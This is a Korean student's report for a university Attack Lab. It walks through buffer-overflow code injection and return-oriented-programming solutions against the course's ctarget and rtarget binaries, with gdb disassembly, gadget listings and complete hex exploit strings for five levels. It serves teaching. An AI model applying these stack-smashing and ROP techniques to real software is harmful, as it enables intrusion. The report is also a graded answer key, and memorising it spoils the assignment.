

CSED211: Attack lab Report

컴퓨터공학과 20240940 장해영

target ID: 40

1. Overview

수업시간에 학습한 공격방법 중 code injection과 return-oriented-programming을 실제로 수행하며 학습하는 과제이다. CI와 관련된 3개의 문제와 ROP와 관련된 2개의 문제를 해결하면 된다.

2. Attack1

```
(gdb) disas getbuf
Dump of assembler code for function getbuf:
0x0000000000401792 <+0>:  sub    $0x28,%rsp
0x0000000000401796 <+4>:  mov     %rsp,%rdi
0x0000000000401799 <+7>:  callq   0x4019ca <Gets>
0x000000000040179e <+12>: mov     $0x1,%eax
0x00000000004017a3 <+17>: add     $0x28,%rsp
0x00000000004017a7 <+21>: retq
End of assembler dump.
```

```
(gdb) disas touch1
Dump of assembler code for function touch1:
0x00000000004017a8 <+0>:  sub    $0x8,%rsp
0x00000000004017ac <+4>:  movl   $0x1,0x202d46(%
0x00000000004017b6 <+14>: mov     $0x402f10,%edi
0x00000000004017bb <+19>: callq   0x400c50 <puts@
```

첫번째 어택을 진행하기 위해 writeup의 내용을 참고하여 getbuf를 disassemble하면 다음과 같다. %rsp를 0x28만큼 빼 버퍼를 만드는 것을 보아 40바이트만큼의 공간아래에 Gets함수를 실행한 후 돌아올 주소를 저장한다고 추측할 수 있다. 그렇다면 이

제 출력해야 하는 touch1 함수의 주소를 알아야 한다. 이 주소를 알기 위해 touch1함수를 disassemble하여 일부를 나타내면 0x00000000004017a8임을 알 수 있고, 이를 little endian으로 바꾸어 나타내면 된다. 이 때 위의 40바이트 버퍼는 0x0a와 같이 특수한 값을 제외하고, 어떤 값이든 상관없으므로 touch 1을 호출하기 위한 attack string은 아래와 같이 나타낼 수 있다.

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
a8 17 40 00 00 00 00 00
```

이 텍스트를 level1.txt파일로 저장하고, appendix A를 참고하여 hex2raw를 이용하여 바이너리 형태로 변환한 뒤 답을 입력하면 공격이 완료된다.

```
[hyjang@programming2 target40]$ cat level1.txt | ./hex2raw | ./ctarget
Cookie: 0x55ca9f6d
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```

3. Attack2

두번째 어택을 진행하기 위해 writeup에 있는 touch2함수를 참고하면, 주소만 touch2함수로 설정할 뿐 아니라, val의 값 즉, %rdi에 저장되는 값에도 cookie의 값을 넣어주어야 한다는 것을 알 수 있다. 즉, Code injection attack으로 공격을 할 수 있다. 스택의 버퍼다음에 저장되는 공간에 %rsp의 주소와 touch2함수의 주소를 차례로 저장하고, 스택의 버퍼에는 %rdi에 쿠키값을 넣어주는 어셈블리어를 machine code로 변환한 값을 넣어주면 된다.

```
(gdb) i r
rax      0x0      0
rbx      0x55586000 1431855104
rcx      0x3a676e69 72747320 42084
rdx      0x7fff7dd6a00 1407373518709
rsi      0x403110 4206864
rdi      0x0      0
rbp      0x55665fe8 0x55665fe8
rsp      0x556647a8 0x556647a8

(gdb) disas touch2
Dump of assembler code for function touch2:
0x00000000004017d4 <<0>: sub $0x8,%r
0x00000000004017d8 <<4>: mov %edi,%e
0x00000000004017da <<6>: movl $0x2,0x
0x00000000004017e4 <<16>: cmp 0x202d1
0x00000000004017ea <<22>: jne 0x40180
```

%rsp의 현재 주소를 확인하기 위해 getbuf함수에서 %rsp를 40바이트만큼 뺀 뒤의 instruction에 breakpoint를 걸고 %rsp의 값을 확인해보면 0x556647a8이 나온다. 또한 touch2를 disassemble해보면 touch2의 주소가 0x4017d4임을 알 수 있다. 즉, 버퍼다음의 값은 0x556647a8, 0x4017d4를 차례로 little endian을 적용하여 설정해주면 된다.

다음으로 버퍼에 넣어주어야 할 값을 찾아보자. Touch1의 결과에서 확인할 수 있듯 cookie의 값은 0x55ca9f6d이다. 또한, 스택에 넣어주어야 할 machine코드는 appendix B를 참고하여 찾을 수 있다. 우선 machine code로 변환하고자 하는 어셈블리코드는 mov \$0x55ca9f6d, %rdi이다. 이를 touch2assem.로 저장한 뒤

```
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 6d 9f ca 55 mov $0x55ca9f6d,%rdi
7: c3 retq
```

machine code로 변환해주면 다음과 같은 결과가 나온다. 이는 주소가 아닌

instruction이므로 그대로 버퍼에 차례로 넣어주면 된다. 나머지 버퍼는 0x0a와 같이 특수한 값을 제외하고, 어떤 값이든 상관없다. 따라서 touch2를 호출하는 attack string은 다음과 같다.

```
48 c7 c7 6d 9f ca 55 c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
a8 47 66 55 00 00 00 00
d4 17 40 00 00 00 00 00
```

이 텍스트를 touch2.txt에 저장하고, appendix A를 참고하여 hex2raw를 이용하여

```
[hyjang@programming2 target40]$ cat touch2.txt | ./hex2raw | ./ctarget
Cookie: 0x55ca9f6d
Type string:Touch2!: You called touch2(0x55ca9f6d)
Valid solution for level 2 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```

바이너리 형태로 변환한 뒤 답을 입력하면 공격이 완료된다.

4. Attack3

세번째 어택을 진행하기 위해 writeup문서에 있는 touch3함수를 참고하면, hexmatch가 1을 반환하면 공격을 성공하게 된다. hexmatch함수를 분석해보면, unsigned value를 16진수로 나타낸 값과 문자열이 같으면 1을 반환한다. 이때 touch3은 cookie값과 입력받는 sval값을 hexmatch에 전달하기 때문에 아스키코드를 참고하여 cookie값에 해당하는 문자열을 찾아야 한다. 위에서 사용했던 쿠키값이 0x55ca9f6d이므로, 이에 해당하는 문자열은 찾아보면 "35 35 63 61 39 66 36 64"이다. 따라서 attack2와 같지만, %rdi에는 해당 문자열이 들어있는 주소를 입력해주어야 한다. 이 주소를 설정할 때 touch3가 hexmatch함수를 부르고 다시 값은 반환하는 과정에 관여하지 않아야 하므로 현재 %rsp의 주소에 버퍼 0x28바이트, %rsp로 이동하는 주소 0x8바이트, touch3함수의 주소 0x8바이트를 추가한 주소인 %rsp + 0x38에 이 문자열을 저장해야 한다. Attack2에서 확인한 %rsp의 주소가 0x556647a8이므로 문자열을 저장해야 하는 주소는 0x556647a8 + 0x38인 0x556647e0이다. 따라서 attack2와 비슷하게 어셈블리코드를 작성하면 mov

```
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 e0 47 66 55    mov     $0x556647e0,%rdi
7: c3                      retq

(gdb) disas touch3
Dump of assembler code for function touch3:
0x0000000000004018a8 <+0>: push    %rbx
0x0000000000004018a9 <+1>: mov     %rdi,%r
0x0000000000004018ac <+4>: movl    $0x3,0x
```

\$0x556647e0, %rdi이고, 이를 machine code로 변환 해주면 다음과 같다. 따라서 이 machine code를 버퍼에 넣어주면 된다. 이 다음 버퍼에 들어가야 하는 값은 0x0a와 같이 특수한 값을 제외하고, 어떤 값이든 상관없다. 다음으로 touch3함수의 주소를 알아내기 위해 touch3를 disassemble하면 위와 같다. 이 0x4018a8을 little endian을 적용하여 버퍼아래에 저장하면 된다. 따라서 touch3을 호출하기 위한 attach string은 다음과 같다.

```
48 c7 c7 e0 47 66 55 c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
a8 47 66 55 00 00 00 00 // rsp 주소
a8 18 40 00 00 00 00 00 // touch3
35 35 63 61 39 66 36 64 // cookie
```

이 텍스트를 touch3.txt에 저장하고, appendix A를 참고하여 hex2raw를 이용하여

```
[hyjang@programming2 target40]$ cat touch3.txt | ./hex2raw | ./ctarget
Cookie: 0x55ca9f6d
Type string:Touch3!: You called touch3("55ca9f6d")
Valid solution for level 3 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```

바이너리 형태로 변환한 뒤 답을 입력하면 공격이 완료된다.

5. Attack4

네번째 어택을 진행하기 위해 writeup문서를 읽어보면, ROP를 이용하여 진행하는 attack임을 알 수 있다. 이 어택에서는 두번째 어택에서 했던 공격을 ROP방식으로 하게 된다. Attack2에서 했던 과정을 다시 생각해보면, %rdi에 cookie값을 저장한 후 touch2를 호출하는 것이다. 이번 어택에서는 %rsp의 위치가 계속 바뀌므로 %rip를 스택의 주소로 설정할 수 없기 때문에 ROP의 gadget을 쓰는 방법을 사용해야한다.

우선 첫번째로, %rdi에 cookie에 해당하는 값을 넣어야 한다. 이는 attack2에서 확인하였듯, 48 c7 c7 6d 9f ca 55 c3이다. rtarget을 disassemble하여 start_farm와

```
000000000401930 <start_farm>:
401930: b8 01 00 00 00
401935: c3

000000000401936 <addval_470>:
401936: 8d 87 48 89 c7 90
40193c: c3

00000000040193d <addval_426>:
40193d: 8d 87 58 90 90 90
401943: c3

000000000401944 <getval_167>:
401944: b8 48 89 c7 c3
401949: c3

00000000040194a <getval_248>:
40194a: b8 48 89 c7 92
40194f: c3

000000000401950 <setval_340>:
401950: c7 07 c8 89 c7 c3
401956: c3

000000000401957 <setval_128>:
401957: c7 07 58 90 90 c3
40195d: c3

00000000040195e <getval_464>:
40195e: b8 eb bd 07 50
401963: c3

000000000401964 <getval_478>:
401964: b8 1a b5 0b 48
401969: c3

00000000040196a <mid_farm>:
40196a: b8 01 00 00 00
40196f: c3
```

mid_farm사이의 gadget은 다음과 같다. 이 gadget에서는 위와 같은 machine code를 찾을 수 없으므로 스택에 cookie를 저장한 다음 이를 pop하여 이용하여야 할 것 같다는 생각이 든다. writeup문서에서 pop을 하는 machine code를 찾아보면 gadget에서 찾을 수 있는 것은 popq %rax (0x58)뿐이다. <addval_426>을 보면 58 90 90 90 c3를 찾을 수 있고, 58에 해당하는 주소는 0x40193f이다. 이때 0x90은 writeup문서에 나와 있듯 no operation을 뜻하는 것이기 때문에 무시할 수 있다. writeup문서에 따르면, popq instruction은 gadget address와 data를 함께 넣어야 한다고 하였으므로 이 주소다음에 cookie의 값을 넣어주어야 할 것이다. 이러면 현재 cookie의 값이 %rax에 저장되어 있으므로 movq %rax, %rdi를 해주어야 한다. writeup 문서에서 이에 해당하는 machine code를 찾으면 48

89 c7이다. 이를 gadget에서 찾아보면 <getval_167>에 존재하고, 48에 해당하는 주소는 0x401945이다. 따라서 첫번째 단계로 cookie값을 %rdi에 저장하는 instruction은 0x40193f, 0x55ca9f6d, 0x401945를 차례로 little endian으로 나타내어 수행할 수 있다.

두번째 단계는 touch2함수를 호출하는 것인데, 이는 instruction이 아니라, 주소를 입력하면 되는 것이기 때문에 attack2에서 구한 주소를 그대로 입력하면 된다. 또한, 버퍼에 있는 값은 사용하지 않으므로 40바이트의 버퍼에는 0a와 같은 특수한 값을 제외하고 어떤 값이든 넣어도 된다.

writeup문서에서 확인한 대로 두 개의 gadget을 이용하여 attack을 진행할 수 있게 되었다. 따라서 attack4를 하기 위한 attack string은 다음과 같다. 텍스트파일에는 볼드체로 된 16진수만 입력하였다.

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
3f 19 40 00 00 00 00 00 // popq %rax
6d 9f ca 55 00 00 00 00 // cookie value
45 19 40 00 00 00 00 00 // movq %rax, %rdi
d4 17 40 00 00 00 00 00 // touch2()의 주소
```

이 텍스트를 attack4.txt에 저장하고, appendix A를 참고하여 hex2raw를 이용하여 바이너리 형태로 변환한 뒤 답을 입력하면 공격이 완료된다.

```
[hyjang@programming2 target40]$ cat attack4.txt | ./hex2raw | ./rtarget
Cookie: 0x55ca9f6d
Type string:Touch2!: You called touch2(0x55ca9f6d)
Valid solution for level 2 with target rtarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```

6. Attack5

다섯번째 어택을 진행하기 위해 writeup문서를 읽어보면, ROP를 이용하여 진행하는 attack임을 알 수 있다. 이 어택에서는 세번째 어택에서 했던 공격을 ROP방식으로 하게 된다. Attack3에서 했던 과정을 다시 생각해보면, cookie값을 아스키코드를 참고하여 문자열로 변환하고 이를 함수의 흐름에 방해받지 않는 주소에 저장한뒤, 이 주소를 %rdi에 저장한 뒤, touch3을 호출해야 한다. 하나씩 차근차근 살펴보도록 하자. Attack5에서는 attack4와 달리 farm의 개수가 많아 모든 farm을 첨부하지 않고, 사용할 farm만 첨부하였다.

<pre>0000000000401970 <add_xy>: 401970: 48 8d 04 37 401974: c3</pre>	우선 attach3에서 cookie에 해당하는 문자열이 "35 35 63 61 39 66 36 64"임을 확인하였고, 이를 저장하는 주소는 다시 돌아올 address를 저장하는 공간 바로 아래에 있는 공간 즉, 텍스트파일에서는 마지막 라인에 저장하였다. 이 위치를 계산하기 위해서 %rsp와 추가된 바이트수를 더하는 연산이 필요하다. 이 연산을 진행할 방법을 고민하다 gadget
--	---

을 보니 mid_farm바로 아래에서 <add_xy>를 발견하였다. %rdi와 %rsi에 각각 %rsp와 추가된 바이트 수를 넣으면 될 것 같다. 우선 %rdi에 %rsp를 넣는 작업부터 실행해보자. writeup문서를 참고하면 이는 48 89 e7임을 알 수 있다. 그리고 gadget에서 이 부분은 존재하지 않고, 옆의 사진의 <getval_283>에 %rsp

```
00000000004019c2 <getval_283>:
4019c2: b8 72 48 89 e0
4019c7: c3
```

를 %rax에 저장하는 instruction인 48 89 e0이 존재하므로 %rsp를 %rax 저장한 뒤, %rax를 %rdi로 옮기는 방법을 사용해야 한다. %rsp를 %rax에 저장하는 gadget의 주소는 48의 주소인 0x4019c4이고, %rax를 %rdi로 옮기는 instruction은 attack4에서 사용하였던 gadget의 주소인 0x401945을 사용하면 된다. %rsi에는 상수가 들어갈 것이므로

attack4에서 사용하였던 %rax를 pop한 후 %rax를 %rsi로 옮기는 방법을 사용하여 할 것이다. 이를 위한 gadget을 찾도록 하자. %rax를 pop하는 gadget의 주소는 attack4에서 사용한 것 그대로 0x40193f를 사용하면 된다. 또한, pop다음에 실제로 추가된 attack string의 바이트수를 추가해주어야 한다. 다음으로 %rax의 값을 %rsi로 옮기는 machine code는 48 89 c6이다. 이 machine code를 가지는 gadget도 존재하지 않는다. 따라서 다른 레지스터로 우회하여 저장하는 방법을 사용해야 할 것 같다. 위 machine code를 찾으며 farm을 훑어보니 c6이 존재하지 않는다는 것을 발견하였고, attack string에 해당하는 바이트수는 1바이트만으로도 충분히 표현할 수 있음을 고려하여 movq 뿐만 아니라, 4바이트 instruction인 movl의 machine code와 1바이트에서 nop인 instruction도 고려해야겠다는 생각을 했다. 우선 mov instruction에 공통적으로 들어있는 89를 중점으로 machine code를 찾고, 1바이트에서 nop인 instruction이 c3전에 있다면, 우선 gadget후보에 올렸다. 이렇게 만들어진 gadget 후보는 아래 사진들과 같다. 이 때 위에서 사용하였던 gadget은 이미 정보를 알고 있기에 제외하였다. 또한 같은

```
0000000000401a2d <setval_274>:
401a2d: c7 07 89 d6 90 90
401a33: c3
```

instruction을 지칭하는 함수도 하나만 후보에 올렸다. 예를 들어 옆 두 gadget은 모두 89 d6이라는 instruction을 의미하므로 하나만 후보에 올렸다.

```
0000000000401a34 <addval_327>:
401a34: 8d 87 7a 89 d6 90
401a3a: c3
```

<gadget 후보>

```
00000000004019ce <addval_179>:
4019ce: 8d 87 89 c1 38 c0
4019d4: c3
```

89 c1

```
0000000000401988 <addval_149>:
401988: 8d 87 89 ca 90 90
40198e: c3
```

```
0000000000401a34 <addval_327>:
401a34: 8d 87 7a 89 d6 90
401a3a: c3
```

89 d6

89 ca

이 gadget들을 보면 "movl %eax, %ecx", "movl %ecx, %edx", "movl %edx, %esi"이다. 이 때 2바이트인 경우 nop인 machine code(ex. 38 c0)는 무시하였다. 이 순서대로 값을 이동시킨다면 %eax에서 %esi까지 즉, %rax에서 %rsi로 값을 이동하는 격이 된다. 위 gadget의 주소를 순서대로 나타내면 %4019d0, %40198a, %401a37이다. 추후 이를 little endian으로 저장하면 된다.

이 다음으로 해야될 것은 <add_xy>에서 return된 주소를 %rdi에 다시 저장하여 touch3를 호출할 수 있도록 하는것이다. %rax의 값을 %rdi로 이동하면 되므로 이 또한 attack4에서 사용하였던 gadget의 주소인 0x401945를 사용하면 된다.

마지막으로, touch3함수를 호출하면 된다. Attack3에서 확인한 touch3의 주소가 0x4018a8이므로 이를 little endian으로 저장하면 된다.

이제 %rsi에 들어가야 할 값을 계산해보도록 하자. 지금까지 적어온 내용을 정리하며, attack string에 적을 순서를 정하며 바이트 수를 계산하는 것이 편리할 것이다. getbuf에서 입력받은 버퍼에는 0a와 같은 특수한 값을 제외하고 아무 값이나 상관없기에 모두 0으로 채울 것이다.

%rdi를 구하기 위해 %rsp를 %rax로 옮긴다. 이 때 %rsp를 가져왔으므로 이 다음부터 %rsi에 들어갈 바이트 수를 세어준다. %rax를 %rdi로 옮기는 과정에서 0x8 바이트가 필요하다. (0x8)

%rsi를 구하기 위해 %rax를 pop하고, 이 %rax에 들어갈 data를 입력하기 위해 0x10바이트가 필요하다. %rax에서 %rsi로 값을 옮기기 위해 3단계를 거치므로 0x18바이트가 필요하다. (0x28).

이렇게 얻은 %rdi와 %rsi를 이용하여 <add_xy>를 호출하기 위해 0x8바이트가 필요하다. (0x8)

이 반환값을 %rdi로 저장하고, touch3함수를 호출하기 위해 0x10바이트가 필요하다. (0x10)

또한, "35 35 63 61 39 66 36 64"를 attack string의 마지막에 추가한다. 이 때 이 문자열의 "시작" 주소를 알아야 하는 것이기 때문에 이 바이트 수는 더하지 않는다. 따라서 위의 바이트 수를 모두 더해주면 0x48이 나온다. 따라서 attack5를 하기 위한 attack string은 다음과 같다. 텍스트파일에는 볼드체로 된 16진수만 입력하였다.

```

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 // buffer
c4 19 40 00 00 00 00 00 // movq %rsp, %rax
45 19 40 00 00 00 00 00 // movq %rax, %rdi
3f 19 40 00 00 00 00 00 // popq %rax
48 00 00 00 00 00 00 00 // %rsp에서 cookie string까지의 바이트 수
d0 19 40 00 00 00 00 00 // movl %eax, %ecx
8a 19 40 00 00 00 00 00 // movl %ecx, %edx
37 1a 40 00 00 00 00 00 // movl %edx, %esi
70 19 40 00 00 00 00 00 // <add_xy>
45 19 40 00 00 00 00 00 // movq %rax, %rdi
a8 18 40 00 00 00 00 00 // touch3()
35 35 63 61 39 66 36 64 // cookie

```

이 텍스트를 attack5.txt에 저장하고, appendix A를 참고하여 hex2raw를 이용하여 바이너리 형태로 변환한 뒤 답을 입력하면 공격이 완료된다.

```

[hyjang@programming2 target40]$ cat attack5.txt | ./hex2raw | ./rtarget
Cookie: 0x55ca9f6d
Type string:Touch3!: You called touch3("55ca9f6d")
Valid solution for level 3 with target rtarget
PASS: Sent exploit string to server to be validated.
NICE JOB!

```

7. Reference

writeup문서

아스키 코드

<https://namu.wiki/w/%EC%95%84%EC%8A%A4%ED%82%A4%20%EC%BD%94%EB%93%9C>